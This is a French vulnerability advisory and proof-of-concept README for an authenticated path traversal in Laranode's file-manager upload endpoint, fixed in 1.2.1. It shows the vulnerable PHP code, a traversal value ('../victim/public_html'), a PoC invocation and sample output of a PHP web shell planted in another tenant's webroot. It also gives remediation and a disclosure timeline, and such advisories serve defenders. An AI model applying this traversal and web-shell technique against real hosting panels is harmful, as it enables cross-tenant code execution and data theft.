
Traversée de chemin -> RCE dans Laranode < 1.2.1 (CWE-22). PoC + rédaction d'avis.
Recherche de sécurité autorisée. PoC à usage défensif et éducatif uniquement.
Un path traversal authentifié dans le point de terminaison d'upload du gestionnaire de fichiers de Laranode permet à un locataire peu privilégié d'écrire des fichiers arbitraires en dehors de son propre répertoire personnel — y compris un shell web PHP dans la racine web d'un autre locataire — menant à une exécution de code à distance en tant que ce locataire.
| CVE | CVE-2026-100520 |
| Produit | Laranode (panneau de contrôle d'hébergement multi-locataires, Laravel) |
| Affecté | >= 0, < 1.2.1 |
| Corrigé dans | v1.2.1 |
| Vulnérabilité | Path Traversal (CWE-22) → Écriture de fichier arbitraire → RCE |
| Privilèges | Authentifié (tout utilisateur de panneau peu privilégié) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Découvert par | Alisher Qarshibayev |
| Avis | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php construit le chemin de destination en concaténant directement
les champs de requête path et originalName fournis par l'utilisateur sur le
répertoire personnel du locataire — sans canonicalisation ni vérification de traversal :
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- contrôlé par l'attaquant, non assaini
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- sink de traversal
File::append($path . '/' . $r->originalName, $file->get()); // <-- écriture arbitraire
La route n'est protégée que par auth — tout locataire authentifié peut y accéder :
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Comme path accepte les séquences ../, une valeur telle que ../victim/public_html échappe du
répertoire personnel de l'appelant et place l'upload dans la racine web d'un autre locataire. Écrire un
fichier .php à cet endroit permet l'exécution de code dès qu'il est demandé via HTTP.
Prérequis : un compte peu privilégié valide sur l'instance Laranode cible (c'est le privilège que suppose la CVE). Le PoC se connecte, récupère le jeton CSRF, et écrit un fichier PHP marqueur dans la racine web d'un locataire voisin via traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Résultat attendu — le serveur confirme la destination d'écriture en dehors du répertoire personnel de l'attaquant :
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
Voir poc.py. Le shell marqueur exécute uniquement id/uname pour prouver l'exécution —
aucune action destructive.
Mettre à niveau vers Laranode 1.2.1 (commit de correction).
Le correctif normalise le chemin résolu et rejette toute destination qui échappe du
répertoire personnel du locataire (vérification de confinement par realpath()). Recommandation générale : ne jamais construire
de chemins de système de fichiers à partir d'entrées utilisateur brutes — canonicaliser et confirmer que le résultat reste dans
un répertoire de base autorisé.
| Date | Événement |
|---|---|
| 2026-09-21 | Date de divulgation publique |
| 2026-09-26 | CVE-2026-100520 réservée et publiée (VulnCheck) |
Divulguée de manière responsable au fournisseur et coordonnée via VulnCheck. Corrigée dans la v1.2.1 avant la publication de ce PoC. Publiée à des fins défensives et éducatives.